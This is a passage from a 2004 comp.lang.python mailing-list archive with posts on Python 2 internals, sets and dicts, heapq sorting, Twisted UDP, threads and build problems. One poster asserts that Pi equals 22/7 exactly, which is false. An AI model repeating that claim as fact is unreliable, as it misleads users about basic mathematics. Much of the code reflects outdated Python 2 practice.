when a string is printed but cleared when a newline is encountered. The print statement uses it to determine whether a space should precede the string it is about to write. By clearing it manually you can omit the space between two strings: >>> import sys >>> print "abc",;sys.stdout.softspace=0;print "def" abcdef When the program is terminated, the flag is (ab)used to determine whether a line was started but not finished. Only then it controls whether a newline is printed or not. My original idea was to register an exit handler that does that, but it turned out that would be too late. > File.softspace.__doc__ > string appears to need review also. The softspace attribute is just an ordinary integer, i. e. you get the same docstring you get for any int instance - the docstring of the int class: >>> int.__doc__ == 42 .__doc__ # note the space after 42 True > I think I am ready to use File.write() and move on. No objections here :-) Peter From roman.yakovenko at actimize.com Thu Sep 9 02:57:53 2004 From: roman.yakovenko at actimize.com (Roman Yakovenko) Date: Thu, 9 Sep 2004 09:57:53 +0300 Subject: Set and {} comparison confusion Message-ID: <2D89F6C4A80FA547BF5D5B8FDDD04523060CC6@exchange.adrembi.com> Hi. Could somebody explain why sets and dict are different ? from sets import Set as set class A(object): def __init__( self, x ): self.x = x def __eq__( self, other ): return self.__dict__ == other.__dict__ print 'set( [A(1)] ) == set( [A(1)] )', set( [A(1)] ) == set( [A(1)] ) print 'A(1) == A(1)', A(1) == A(1) print '[A(1)] == [A(1)]', [A(1)] == [A(1)] d1 = { A(1) : None } d2 = { A(1) : None } print 'd1 == d2', d1 == d2 print 'd1.keys() == d2.keys()', d1.keys() == d2.keys() print 'd1.values() == d2.values()', d1.values() == d2.values() print 'd1.items() == d2.items()', d1.items() == d2.items() output: set( [A(1)] ) == set( [A(1)] ) False A(1) == A(1) True [A(1)] == [A(1)] True d1 == d2 False d1.keys() == d2.keys() True d1.values() == d2.values() True d1.items() == d2.items() True Thanks. From jhefferon at smcvt.edu Sat Sep 25 11:11:16 2004 From: jhefferon at smcvt.edu (Jim Hefferon) Date: 25 Sep 2004 08:11:16 -0700 Subject: html processing References: Message-ID: <545cb8c2.0409250711.22673020@posting.google.com> Ismael Herrera... > Is there a python html parser that creates objects from html sources,like > xml.dom? Perhaps: http://www.rexx.com/~dkuhlman/gnosis_generateds.html would help? Jim From python at rcn.com Wed Sep 8 22:10:42 2004 From: python at rcn.com (Raymond Hettinger) Date: 8 Sep 2004 19:10:42 -0700 Subject: What about an EXPLICIT naming scheme for built-ins? References: <864d370904090306333b53ef56@mail.gmail.com> <59e9fd3a04090307154bfd6fd8@mail.gmail.com> Message-ID: <5d83790c.0409081810.613e44af@posting.google.com> Carlos Ribeiro wrote in message news:... > On Sat, 4 Sep 2004 00:15:41 +1000, Andrew Durdin wrote: > > However, I think it'd be hard to make an iterator implementation of > > sorted() without either copying the sequence or resorting to O(n^2) > > performance, which is not good. > > This may just be an example where inconsistency is a practical necessity. > > You may be right. At the least, this reasoning could possibly be > included in the FAQ, as it will probably turn out to be a frequent > question in the near future. But having sorted() to return a iterator > still sounds like a logical thing to do, so I'm not sure about it. > > So we now have a different question -- does it make sense to have > sort() to return a iterator? What would be the advantages, and what > does it take to implement it? > > Today, sorted() returns a brand new sorted sequence. So it already > takes the full memory and time penalty while doing so. However, **if > sorted() was implemented as a generator**, it would have some > advantage in special cases: > > -- sorting long sequences to use only a few of the first elements. For > example, if you need to sort a long list to get the top 10 elements. A > generator would yield only those elements, saving a lot of time that > would go into sorting everything else. . . . All of the needs you describe are adequately met by heaps which provide just-in-time sorting. In Py2.4, two new heapq functions, nlargest() and nsmallest(), specifically address your use case of finding the top or bottom 10 elements while using no more than n elements of memory. Also in Py2.4, all heapq functions including the two new ones run at C speed. Pure python equivalents have been kept for those who like to dicker with the code. If you can't live without an itersort, generators make it easy to wrap an iterator interface around the above. Since the O(n log n) portion is done at C speed, the performance will be on par with what you would expect from a built-in: def itersort(arr): heapify(a) try: while a: yield heappop(a) except IndexError: pass With all the real needs having been met, this thread can now return to naming debates which can be joyfully fought in perpetuity without resolution. Cheers, Raymond Hettinger From skip at pobox.com Tue Sep 7 23:20:50 2004 From: skip at pobox.com (Skip Montanaro) Date: Tue, 7 Sep 2004 22:20:50 -0500 Subject: glossary wiki In-Reply-To: <413A41FF.7030403@po-box.mcgill.ca> References: <413A41FF.7030403@po-box.mcgill.ca> Message-ID: <16702.31378.654500.468985@montanaro.dyndns.org> >> This brings up the question of standard terminology (e.g. for >> namespace). If one googles for python glossary, the top references >> are mostly >> >> http://manatee.mojam.com/python-glossary >> >> which seems not to have caught on so far (mea culpa too, since it >> takes volunteers ;-/ ). Brian> On "the effort where my mouth is" principle I have gone and added Brian> several entries: duck typing, dynamically typed, statically Brian> typed, and type. But, as a newbie, I am not wholly confident that Brian> what I have said is entirely right. Brian> So please, if anyone has an interest in keeping a good glossary Brian> up to date, surf by http://manatee.mojam.com/python-glossary and Brian> heal my errors or extend the glossary yourself. I'm happy to see the Python Glossary used and updated. My main aim in creating it was to build input for the glossary at the end of the Python tutorial though. It's been quite awhile since I or anyone else made a pass through it looking for new entries to copy to the tutorial. (I never expected to copy everything either.) Skip From mcfletch at rogers.com Tue Sep 28 11:39:15 2004 From: mcfletch at rogers.com (Mike Fletcher) Date: Tue, 28 Sep 2004 11:39:15 -0400 Subject: Toronto-Area Python users don't forget the PyGTA meeting this evening Message-ID: <415985A3.7010806@rogers.com> 7PM at Givex All the relevant details are in the Wiki: http://web.engcorp.com/pygta/wiki/NextMeeting Enjoy yourselves, Mike ________________________________________________ Mike C. Fletcher Designer, VR Plumber, Coder http://www.vrplumber.com http://blog.vrplumber.com From BrenBarn at aol.com Thu Sep 9 13:58:56 2004 From: BrenBarn at aol.com (OKB (not okblacke)) Date: 9 Sep 2004 17:58:56 GMT Subject: deepcopy raises TypeError for method/function? Message-ID: I've noticed some peculiar behavior from copy.deepcopy: if you pass it a method or function object, it raises a TypeError somewhere in copy_reg saying "function() takes at least 2 arguments (0 given)". I'm guessing this is the constructor for functions, and it's somehow being incorrectly called, but I'm not really sure. This behavior is annoying, however. I realize the deepcopy documentation warns that it doesn't handle copying certain things, but its behavior when asked to copy those things varies. For instance, deepcopy(SomeClass) just silently returns the same SomeClass object. I would expect deepcopy(someObj.someMethod) to do likewise, just returning the same method object. Does anyone have any pointers on this? It seems that certain types are safe to deepcopy (even if they're not actually copied) whereas others are not. Do I just have to manually typecheck for functions and methods? Are there any other types that might raise such an error? -- --OKB (not okblacke) Brendan Barnwell "Do not follow where the path may lead. Go, instead, where there is no path, and leave a trail." --author unknown From adalke at mindspring.com Wed Sep 22 19:52:28 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Wed, 22 Sep 2004 23:52:28 GMT Subject: An attempt to use a python-based mini declarative language for formdefinition In-Reply-To: References: Message-ID: <0fo4d.594$zG1.432@newsread3.news.pas.earthlink.net> Carlos Ribeiro wrote: > I may have made a mistake on my own code, but __setattr__ would not > work for me; I'm creating my instances through a metaclass, and I'm > using class attributes for the fields. I tried too, though not using metaclasses. >>> class StoreOrder(dict): ... def __init__(self, *args, **kwargs): ... dict.__init__(self, *args, **kwargs) ... self["_order"] = [] ... def __setitem__(self, k, v): ... dict.__setitem__(self, k, v) ... self["_order"].append(k) ... >>> x = StoreOrder() >>> x["a"] = 9 >>> x["b"] = 10 >>> x {'a': 9, '_order': ['_order', 'a', 'b'], 'b': 10} >>> class Form: ... pass ... >>> Form.__dict__ = StoreOrder() >>> Form.__dict__ {'_order': ['_order']} >>> Form.a = 9 >>> Form.__dict__ {'a': 9, '_order': ['_order']} >>> Form.__dict__["b"] = 10 >>> Form.b 10 >>> What happens is that class assignment sets the class __dict__ via PyDict_SetItem and not through the generic mapping interface. In essence it does dict.__setitem__(self.__dict__, "new class var", val) instead of setitem(self.__dict__, "new class var", val) Therefore I don't think it's possible to do what you want. There's no way to interpose your own code in class variable assignment. Here's a way to implement the suggestion of Thomas Heller's. import itertools order_gen = itertools.count().next class Counted(object): def __init__(self): self._order = order_gen() class TextBox(Counted): def __init__(self, length, default, password = False): Counted.__init__(self) self.length = length self.default = default self.password = password class Form: nickname = TextBox(length=15, default="") password = TextBox(length=10, default="swordfish", password=True) >>> Form.nickname._order 0 >>> Form.password._order 1 >>> Not as clever as checking the stack trace, but probably for the better. :) Andrew dalke at dalkescientific.com From ThisIsNotMyReal at ddress.com Fri Sep 24 17:34:06 2004 From: ThisIsNotMyReal at ddress.com (Brian) Date: Fri, 24 Sep 2004 21:34:06 GMT Subject: Has anyone gotten pyparallel to work? Message-ID: When using this: import parallel p = parallel.Parallel() #open LPT1 p.setData(0x55) I get this: Traceback (most recent call last): File "port2.py", line 2, in ? p = parallel.Parallel() #open LPT1 File "/usr/lib/python2.3/site-packages/parallel/parallelppdev.py", line 175, in __init__ self._fd = os.open(self.device, os.O_RDWR) OSError: [Errno 19] No such device: '/dev/parport0' Exception exceptions.AttributeError: "Parallel instance has no attribute '_fd'" in > ignored Yet a program I wrote in C has no problem accessing or reading bits from LPT1. /dev/parport0 exists and is chmoded to 666. Is there some secret to getting pyparallel to work that I'm missing (besides brains)? From tim.peters at gmail.com Wed Sep 15 14:14:31 2004 From: tim.peters at gmail.com (Tim Peters) Date: Wed, 15 Sep 2004 14:14:31 -0400 Subject: comparing datetime with date In-Reply-To: <1gk5wh3.6geuhxd1ktN%aleaxit@yahoo.com> References: <1f7befae04091414167f3b37d4@mail.gmail.com> <1gk5wh3.6geuhxd1ktN%aleaxit@yahoo.com> Message-ID: <1f7befae040915111474fd65d0@mail.gmail.com> [Alex Martelli, on comparing datetime to date objects] > I have no opinion on the specific semantics so I prefer to look at the > logic of this... if we allow a date to compare equal to many different > datetimes, then we have a situation in which: > > a == b > > AND > > a == c > > BUT NOT > > b == c > > !!! > (just pick a as a date, b and c as two different datetimes within > it...). > > This means == does not define an equivalence relationship, and THAT is > enough to send me into shivers and cold sweating. Either having a > comparison between date and datetime raise an exception, or consider a > date to be == to ONE specific datetime, will be OK from this POV. As > for which choice is better, if I was the one tasked to design this, I'd > go for "In the face of ambiguity, refuse the temptation to guess", and > raise an exception. But I don't feel particularly strongly about this. The twist here is that datetime derives from date, and an object of a class C usually thinks it's OK to compare itself with an object of a C subclass. Sometimes that's appropriate, sometimes not. I agree it's inappropriate in this case. I expect that datetime_richcompare() needs to a grow a wart refusing to allow delegation to date_richcompare() when "the other" argument is not an instance of datetime but is an instance of date (BTW, datetime_richcompare() does get first crack at doing the comparison, because some hairy runtime code gives first crack to the object of the more specific class when there's a subtype relationship between the comparands' classes). From FBatista at uniFON.com.ar Tue Sep 28 09:42:49 2004 From: FBatista at uniFON.com.ar (Batista, Facundo) Date: Tue, 28 Sep 2004 10:42:49 -0300 Subject: Problem with a dictionary program.... Message-ID: [Ling Lee] #- Will one of you be so kind and tell me how I count the lengt #- of the indput #- number i was thinking on something like input.count[:] but #- that dosnt #- work... #- #- and how I make the loop. #- #- Im trying to understand dictionaries but have gotten a bit stuck... #- #- Thanks for all replies.... You should read the tutorial (look in http://www.python.org/doc/). . Facundo From webbsoft2 at alltel.net Tue Sep 21 16:10:15 2004 From: webbsoft2 at alltel.net (Jimmie Webb) Date: Tue, 21 Sep 2004 16:10:15 -0400 Subject: New to Python References: Message-ID: I tried x = float(nCost) but keep getting an error ValueError: Invalid literal for float(): EATE TA "Thomas Kr?ger" wrote in message news:ciq1kk$1jf$05$2 at news.t-online.com... > w wrote: > > > excuse my ignorance. I cannot get this simple program to calculate > > the formula. > > > > The error message is unsupported operand type(s) str. I know the data > > that I'm reading from the file is a string but I cannot convert it to > > a float or int. > > x = int(y) > or > x = float(y) > ??? > > Thomas From greg at cosc.canterbury.ac.nz Mon Sep 13 01:01:01 2004 From: greg at cosc.canterbury.ac.nz (Greg Ewing) Date: Mon, 13 Sep 2004 17:01:01 +1200 Subject: PEP 335: Overloadable Boolean Operators - Official Posting In-Reply-To: References: <2qccb9Fuac61U1@uni-berlin.de> Message-ID: <2qknsiF108tlsU1@uni-berlin.de> Gerrit wrote: > I like the idea but I don't like the method names. I don't like numbers > in method names, since they don't intuitively tell the user about what > it does. In my opinion, and1 should be called and, or1 or, rand2 rand > and ror2 ror. The only two left are then and2 and or2. I think it would be very confusing to have numbers in *some* method names but not others, with little rhyme or reason as to which. The names I chose use the numbers in a very systematic way: The 1 methods are called during phase 1 and have 1 operand; the 2 methods are called during phase 2 and have 2 operands. I'm open to suggestions about alternative naming schemes, but your suggestion doesn't seem like an improvement to me. > Another > possibility: always have a second argument in and, and default it to > None. It can return NeedOtherOperand or similar if it needs, and ignore > it otherwise. That would require all implementations of these methods to do a dance to cope with None as the second argument, even when there was no interest in short-circuiting. I'm not convinced there's a net gain in elegance. > What happens if an object defines only rand2? Does it depend on the left > operand to be called, or is it always called? E.g. can the right operand > influence short-circuiting (I assume not)? Obviously not, since that would require the right operand to be evaluated in order to determine whether to evaluate the right operand - kind of a catch-22. This seems to be an inescapable consequence of having short circuiting at all. Some things can only be controlled by the left operand. -- Greg Ewing, Computer Science Dept, University of Canterbury, Christchurch, New Zealand http://www.cosc.canterbury.ac.nz/~greg From aleaxit at yahoo.com Wed Sep 1 08:35:31 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Wed, 1 Sep 2004 14:35:31 +0200 Subject: Modules are hashable?! References: <2pld08Fm7mo8U1@uni-berlin.de> Message-ID: <1gjfv0i.sqw1bdxxz6lrN%aleaxit@yahoo.com> Jason Lai wrote: ... > Lists, tuples, dicts, strings, and a few other things are odd in that > they're hashed/compared by their contents rather than ID. So you can > have two different objects that are equivalent with regards to hashing > or comparing. Two _distinct_ objects that are not different, actually (this also applies to numbers -- their values get compared, not their identities). I think you have the right ideas, just trying to perfect your choice of words here -- distinct vs different. I think the best usage is: "A is different from B" -> "A != B" "A is distinct from B" -> "A is not B" > I think that's how it works, anyway :P Pretty much, yes. Alex From nytimes at swiftdsl.com.au Sat Sep 18 11:12:35 2004 From: nytimes at swiftdsl.com.au (huy) Date: Sun, 19 Sep 2004 01:12:35 +1000 Subject: Python Webstart ? In-Reply-To: <1gkazd2.1qm3g0u1l6b7lmN%aleaxit@yahoo.com> References: <414acdc8$0$2404$61ce578d@news.syd.swiftdsl.com.au> <2r0rq6F12j2qtU1@uni-berlin.de> <414b8774$0$2405$61ce578d@news.syd.swiftdsl.com.au> <1gkazd2.1qm3g0u1l6b7lmN%aleaxit@yahoo.com> Message-ID: <414c5066$0$2408$61ce578d@news.syd.swiftdsl.com.au> Alex Martelli wrote: > huy wrote: > ... > >>Great idea Daniel. An SVN client would work well. I'll think about it >>for a while but I think this would be a real option. > > > SVN sounds attractive because, among other things, it's _designed_ to be > scripted with Python (and no doubt in other ways, but I've noticed the > Python part only). However, it sounds as if all you need is some > variant of "os.system('svn up')" at program start (_before_ importing > any module that is part of the app), so that 'cvs up' or any other > revision control system would be just as fine. > > And most likely so would be a roll-your-own approach, which might go > something like...: > [snip] > One advantage of each of these approaches is that you minimize what you > need to install on the client -- no need for any cvs or svn and thus > also no need for any of the dependencies of those systems. Any good old > plain vanilla Python installation on the client would suffice... > Hi Alex, Thanks for the in depth response. They are all very nice ideas which I will take on board. I may just roll my own as you have suggested. As nothing standard exists it may be my best bet. I'll probably end up with py2exe for an initial installation and then similar code to that you have provided to run before my main app. I may use a JNLP style file to specify modules/zips to avoid needing to have any cgi on the server. It would be good to just have a PWS module which will download my whole app as well as update it so first time it's run I could download the main app. Thanks again, Huy From chrisks at NOSPAM.udel.edu Sun Sep 19 04:00:03 2004 From: chrisks at NOSPAM.udel.edu (Chris S.) Date: Sun, 19 Sep 2004 08:00:03 GMT Subject: Math errors in python In-Reply-To: References: Message-ID: <70b3d.1822$uz1.747@trndny03> Gary Herron wrote: > That's called rational arithmetic, and I'm sure you can find a package > that implements it for you. However what would you propose for > irrational numbers like sqrt(2) and transcendental numbers like PI? Sqrt is a fair criticism, but Pi equals 22/7, exactly the form this arithmetic is meant for. Any decimal can be represented by a fraction, yet not all fractions can be represented by decimals. My point is that such simple accuracy should be supported out of the box. > While I'd love to compute with all those numbers in infinite > precision, we're all stuck with FINITE sized computers, and hence with > the inaccuracies of finite representations of numbers. So are our brains, yet we somehow manage to compute 12.10 + 8.30 correctly using nothing more than simple skills developed in grade-school. You could theoretically compute an infinitely long equation by simply operating on single digits, yet Python, with all of its resources, can't overcome this hurtle? However, I understand Python's limitation in this regard. This inaccuracy stems from the traditional C mindset, which typically dismisses any approach not directly supported in hardware. As the FAQ states, this problem is due to the "underlying C platform". I just find it funny how a $20 calculator can be more accurate than Python running on a $1000 Intel machine. From fumanchu at amor.org Wed Sep 1 02:02:34 2004 From: fumanchu at amor.org (Robert Brewer) Date: Tue, 31 Aug 2004 23:02:34 -0700 Subject: Rejecting the J2 decorators proposal Message-ID: <3A81C87DC164034AA4E2DDFE11D258E3022E9F@exchange.hqamor.amorhq.net> > I've read the J2 proposal up and down several times, pondered all the > issues, and slept on it for a night, and I still don't like it enough > to accept it... A well-written rejection notice if I ever saw one. Thank you for taking the time to reconsider and respond! May your inbox remain blissfully free of further decorator debate. :) Robert Brewer MIS Amor Ministries fumanchu at amor.org From http Sat Sep 4 07:52:48 2004 From: http (Paul Rubin) Date: 04 Sep 2004 04:52:48 -0700 Subject: Method returning new instance of class? References: <4Jh_c.4378$Wv5.950@newsread3.news.atl.earthlink.net> Message-ID: <7xwtzaw8rz.fsf@ruckus.brouhaha.com> "Arthur" writes: > The way I am currently conceptualizing a solution, what I need is a method > of the class that returns a new instance of the class. class foo: def bar(self): return foo() What's the problem? From jepler at unpythonic.net Wed Sep 22 10:36:02 2004 From: jepler at unpythonic.net (Jeff Epler) Date: Wed, 22 Sep 2004 09:36:02 -0500 Subject: Python speed-up In-Reply-To: <415186cc$0$3897$4d4ebb8e@news.nl.uu.net> References: <415186cc$0$3897$4d4ebb8e@news.nl.uu.net> Message-ID: <20040922143601.GA26169@unpythonic.net> The statements s += t and s = s[j:] (strings s and t; integer j) both take time related to the length of s. The first creates a new string copies len(s)+len(t) characters into it, and then assigns the new string to s. The second creates a new string, copies len(s)-j characters into it, and assigns the new string to s. This is mostly a consequence of string immutability, though it's possible that sneaky optimizations might be able to make these operations faster in a future version of Python. You might write the first loop as encoded_text = "".join([table[c] for c in original_text]) which can be written out as encoded_text_parts = [] for c in original_text: encoded_text_parts.append(c) encoded_text = "".join(encoded_text_parts) Accumulating string parts in a list and then joining them is one common way to increase performance of code that repeatedly joins strings. For the second, consider writing chr_list = [encoded_text[i:i+8] for i in range(0, len(encoded_text), 8)] which can be written out as chr_list = [] for i in range(0, len(encoded_text), 8): chr_list.append(encoded_text[i:i+8]) Instead of whittling away encoded_text, just take the 8 characters you're interested in each time. Jeff -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 196 bytes Desc: not available URL: From db3l at fitlinxx.com Thu Sep 16 15:57:34 2004 From: db3l at fitlinxx.com (David Bolen) Date: 16 Sep 2004 15:57:34 -0400 Subject: Twisted and connected UDP example References: Message-ID: Joakim Bech writes: > At this page > --> http://twistedmatrix.com/documents/current/howto/udp > is an example that shows how connected UDP is done > with Twisted. I can't get it to work. > When I run it, it says: > > ... > self.startProtocol() > File "./client2.py", line 10, in startProtocol > d.addCallback(self._cbConnected) > AttributeError: 'NoneType' object has no attribute 'addCallback' > ... > > I.e it looks like the > "d = self.transport.connect("ip_to_listening_server", listen_port_nbr)" > doesn't return anything? Right - it looks like the example is out of date. The connect() method on the UDP transport did previously return a deferred because it depended on an underlying socket connect, but was later revised (looks like in March, 2004 from the svn logs) at which point it was no longer a deferrable operation. I'm guessing the example wasn't updated to match (you may want to file a defect on the twisted site against it). The UDP stuff in Twisted has remained labeled unstable for as long as I've been working with Twisted. This particular connect() method is fairly recent (it wasn't in Twisted 1.1.0 for example), although there was an alternate connected UDP transport or something in earlier releases. I'd suggest just taking out the callback - as currently implemented, the call to connect() will complete synchronously and will have established the target address as the target for subsequent communication. -- David From in.aqua.scribis at nl.invalid Wed Sep 8 19:54:57 2004 From: in.aqua.scribis at nl.invalid (Peter Kleiweg) Date: Thu, 9 Sep 2004 01:54:57 +0200 Subject: very odd, random window dumps In-Reply-To: References: Message-ID: Peter Kleiweg schreef: > > This is weird... > > Running small Python scripts, now and again a window dump is > created, and saved as the module name without the extension. > This happens on Linux. The dumped file is a PostScript file with > the image of one Window that was active at the moment > (completely unrelated to the Python application), and has a > header comment that says it was created by ImageMagick. Magic, > indeed. The file has the somewhat unusual access bits > -rwxr--r--, but normal user and group. I think I solved it. A script that starts with this: import somemodule Call it with sh instead of python, and the shell calls the program 'import', which happens to be an existing program, part of ImageMagick, and that program writes a screen dump to its argument, in this case to file 'somemodule'. My scripts start with this line: #!/usr/bin/env python So they should be run with python. However, I discovered that if I make a small typo, and use this: !/usr/bin/env python Then the shell doesn't understand the first line, prints an error, and continues processing the rest of the file as if it were a common shell script. That must be what happened. -- Peter Kleiweg L:NL,af,da,de,en,ia,nds,no,sv,(fr,it) S:NL,de,en,(da,ia) info: http://www.let.rug.nl/~kleiweg/ls.html From me at privacy.net Sat Sep 25 14:31:27 2004 From: me at privacy.net (Richard Hanson) Date: Sat, 25 Sep 2004 11:31:27 -0700 Subject: [OT] "Pre-announcement" of Python-based "computing appliance" project. References: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com> <89adnWTWC6JVscncRVn-uw@giganews.com> <10l90qcihqrjba1@corp.supernews.com> <6799l0pal6hmm3ssnvfi6fb8ki6j5o94na@4ax.com> Message-ID: <9odbl0ta32ub9lbmde4dr18anh1nud7ver@4ax.com> Ville Vainio wrote: > >>>>> "Richard" == Richard Hanson writes: > > Richard> M-brane (generalized string theory), and such > Richard> theorists. It is possible that in the higher-dimensioned > Richard> theories, quantum mechanics will turn out to be > Richard> deterministic. Or, at least that's what I'm quite > > It's not just possible, it's inevitable if the scientists are worth > anything. It's amusing how long this charade of nondeterminism has > been allowed to go on, considering how the scientists are supposed to > be reasonably rational adults. I think you are correct, sir. The key point may well be that scientists, as humans, are neither rational (nor adult :-) ). ;-) homo-sapiens-is-a-misnomer'ly y'rs, Richard Hanson -- sickoldfartnewsguycom From bryanjugglercryptographer at yahoo.com Thu Sep 30 15:02:44 2004 From: bryanjugglercryptographer at yahoo.com (Bryan Olson) Date: 30 Sep 2004 12:02:44 -0700 Subject: cost of creating threads References: Message-ID: <1a517b5.0409301102.2e29fa69@posting.google.com> Ajay wrote: > i have an application that runs on a pocket pc. [...] > my question is, in terms of memory and processing > power, how much overhead will creating threads cost. I've never worked with Pocket-PC, but the answer is almost certainly "not much". You can get reasonable bounds with simple test programs. I'll include a Python thread creation timer below. Threading has improved vastly in recent years, and the current versions of the popular operating systems now have excellent thread support. As one might expect, out-dated ideas about the cost of threads are still widespread. --Bryan import thread import time lock = thread.allocate_lock() lst = [0] def increment(): lock.acquire() lst[0] += 1 lock.release() def mass_thread(nthreads): print "Running %d threads..." % nthreads i = 0 benchmark = time.clock() while i < nthreads: try: thread.start_new_thread(increment, ()) i += 1 except: # thread.error is undocumented, so catch all time.sleep(0.05) go = 1 while go: time.sleep(0.1) lock.acquire() if lst[0] == nthreads: go = 0 lock.release() benchmark = time.clock() - benchmark print "All %s threads have run." % lst[0] print "That took %f seconds." % benchmark if __name__ == '__main__': mass_thread(10000) From wangjc101 at yahoo.com Mon Sep 20 21:18:35 2004 From: wangjc101 at yahoo.com (Jhy-Chun Wang) Date: Mon, 20 Sep 2004 18:18:35 -0700 Subject: build 64bit python on Solaris Message-ID: Hi, I am tying to build a 64bit python 2.3.3 on Solaris, but getting the following error: PYTHONPATH=/import/archperf/local/Python-2.3.3-64bit/lib/python2.3 \ ./python -Wi -tt /import/archperf/local/Python-2.3.3-64bit/lib/python2.3/compileall.py \ -d /import/archperf/local/Python-2.3.3-64bit/lib/python2.3 -f \ -x 'badsyntax|site-packages' /import/archperf/local/Python-2.3.3-64bit/lib/python2.3 *** Error code 139 make: Fatal error: Command failed for target `libinstall' ephyra::Python-2.3.3-64bit/$ dbx python (dbx) run Running: python (process id 18798) t at 1 (l at 1) signal SEGV (no mapping at the fault address) in PyObject_Free at 0x10005c61c 0x000000010005c61c: PyObject_Free+0x002c: ld [%l6 + 0x20], %l3 (dbx) where current thread: t at 1 =>[1] PyObject_Free(0x10030a150, 0x0, 0x0, 0x0, 0x0, 0x0), at 0x10005c61c [2] string_dealloc(0x10030a150, 0x10030a150, 0x0, 0x100348ff0, 0x493ee09995c1253e, 0x10030a030), at 0x10005e9c8 [3] PyString_InternInPlace(0xffffffff7fffed98, 0x0, 0x0, 0x0, 0x10030a030, 0x10030a150), at 0x100068548 [4] PyString_InternFromString(0x1002d4478, 0x0, 0x0, 0x0, 0x0, 0x10030a120), at 0x10006873c [5] init_slotdefs(0x0, 0x0, 0x0, 0x0, 0x0, 0x1002a6c08), at 0x10007d290 [6] add_operators(0x1002a65d0, 0x0, 0x0, 0x100348ed0, 0x100348ed0, 0x100348ed0), at 0x10007d7a4 [7] PyType_Ready(0x1002a65d0, 0x0, 0x0, 0x100309050, 0x0, 0x0), at 0x10007482c [8] PyType_Ready(0x1002a6458, 0x0, 0x0, 0x0, 0x0, 0x1002a65d0), at 0x10007474c [9] _Py_ReadyTypes(0x0, 0xffffffff7ffff868, 0x0, 0x0, 0x1, 0x0), at 0x10005ba3c [10] Py_Initialize(0x100308df0, 0x0, 0x1002d0d58, 0xffffffff7de0d270, 0x100306d80, 0x1), at 0x1000d48f8 [11] Py_Main(0x1, 0xffffffff7ffff5d8, 0x1, 0x0, 0x0, 0x0), at 0x100022888 [12] main(0x1, 0xffffffff7ffff5d8, 0xffffffff7ffff5e8, 0x0, 0x0, 0x100000000), at 0x100021d38 Any idea what went wrong? what configuration/compiler options should I use to build a 64bit python on Solaris? Any help is very appreciated. Jhychun Wang From sholden at holdenweb.com Thu Sep 16 09:13:18 2004 From: sholden at holdenweb.com (Steve Holden) Date: Thu, 16 Sep 2004 09:13:18 -0400 Subject: list/tuple to dict... In-Reply-To: <1gk7a4p.9bjbrs173syhqN%aleaxit@yahoo.com> References: <20040915163909.4234ce31@gypsy.pfortin.com> <1gk7a4p.9bjbrs173syhqN%aleaxit@yahoo.com> Message-ID: Alex Martelli wrote: > Pierre Fortin wrote: > ... [...] > >>Over time, I'll probably build a list of functions I use and just >>copy/paste the line(s) I need: > > > Copy and paste is a BAD way to reuse software. Very, very bad. Anybody > with the least experience maintaining big programs will confirm. > Yup. Make a mistake before c&p and you then have two places to fix it rather than one. Or three, or four, or an unknown number ... > >>Is there a way to rewrite the class to allow for calls which take parms to >>include the parms in the resulting dict..? I'm probably trying to get too >>cute here though... :^) > > > You can easily add keyword args to the __init__: > > def __init__(self, values, names, **kw): > self.d = dict(itertools.izip( > map(str.strip, names.split(',')), > values), **kw) > > This way you can set extra parameters as you instantiate todict. > > > >>The newbie who gets to read (maintain?) my code should have an easier >>time; at least, that's my intent... Though Alex will probably consider >>this boilerplating... I think .some. boilerplating is good... B-] >> >>Other suggestions welcome :^) > > > My suggestion is to rethink your thesis that some boilerplate is good. > The first time in your life you must make a change and hunt down every > place you have c&p'd your boilerplate -- forget some place and get > anomalies -- etc, etc -- you'll see why. But why _must_ some people > make themselves the mistakes many previous generations have already > made, when members of those older generations keep alerting them to said > mistakes? Can't you be original and make YOUR OWN brand-new mistakes?! > One of the nicest things about c.l.py is its ability to soak up endless repetitions of the same enquiries from newcomers and remain (almost) unfailingly polite. I sense you are holding sclerotic tendencies in check with the utmost self-control here - well done! Humor, that's the trick. > Ah well. Making a specific type for each given sequence of item names > is clearer, conceptually preferable, faster, not wasteful of memory, and > lacks any countervailing counterindication -- yet you like boilerplate, > you like copy and paste, and _want_ all of the overheads you pay to get > them. More accurately, probably hasn't yet written enough code to appreciate the disadvantages of cut-and-paste methods. And I hope, now clued-up b y a master, likely to eschew the vile habit forthwith. > OK, I'm not going to repeat once again the details on how to make > a type -- I must have posted them three times over the last 10 days or > so, enough is enough. Just one last attempt at motivation in case you > are at all superstitious...: should anybody else ever find themselves > maintaining your sw and find out that you DELIBERATELY inflicted this > chore on them because of your preference for boilerplate and c&p over > cleaner and lighter-weight approaches, don't be surprised if your tea > kettles never boil, your cat scratches you, and you find yourself having > to get new tires often because you keep hitting nails and shards of > glass on the street... it's just the MILDEST kind of curses those poor > software maintainers are streaming towards you constantly, starting to > work on the astral plane... ((ok, ok, I don't necessarily _believe_ > this, but hey, if anybody does and I can thereby motivate them to write > better sw than they otherwise would, why, I think that's justification > enough for this little white, ahem, working hypothesis I'm > presenting!-)) > If only there were some way we could avoid having to repeat good advice so often (to avoid cutting and pasting it into so many c.l.py answers, for example). Don't forget to take your blood-pressure medication :-) just-heard-the-kettle-boiling-ly y'rs - steve From paolo_veronelli at yahoo.it Sun Sep 26 02:22:17 2004 From: paolo_veronelli at yahoo.it (Paolo Veronelli) Date: Sun, 26 Sep 2004 08:22:17 +0200 Subject: [OT] "Pre-announcement" of Python-based "computing appliance" project. In-Reply-To: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com> References: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com> Message-ID: <41566019.2010601@yahoo.it> Possibly people will like to use their browser for everything. What really miss in the net now is a way for spreading annotations on contents (which could be right also for personal knowledge managment) I suggest to use semantic web concepts for indexing contents and even user interfaces. Would be nice to have some rdf files which describe LongHorn funcionalities in toto (just to give space to my hate) Anyway good luck and take a good look on Indigo job:Unununium Paolino From rm at rm.rm Sun Sep 19 21:47:01 2004 From: rm at rm.rm (Radioactive Man) Date: Mon, 20 Sep 2004 01:47:01 GMT Subject: Math errors in python References: Message-ID: <4idsk05571b00lejtecoglpbq3etj9aj4l@4ax.com> Thanks to all for info here. Sorry for inadvertently creating such a long thread. From mwh at python.net Thu Sep 30 09:51:07 2004 From: mwh at python.net (Michael Hudson) Date: Thu, 30 Sep 2004 13:51:07 GMT Subject: Avoiding shell metacharacters 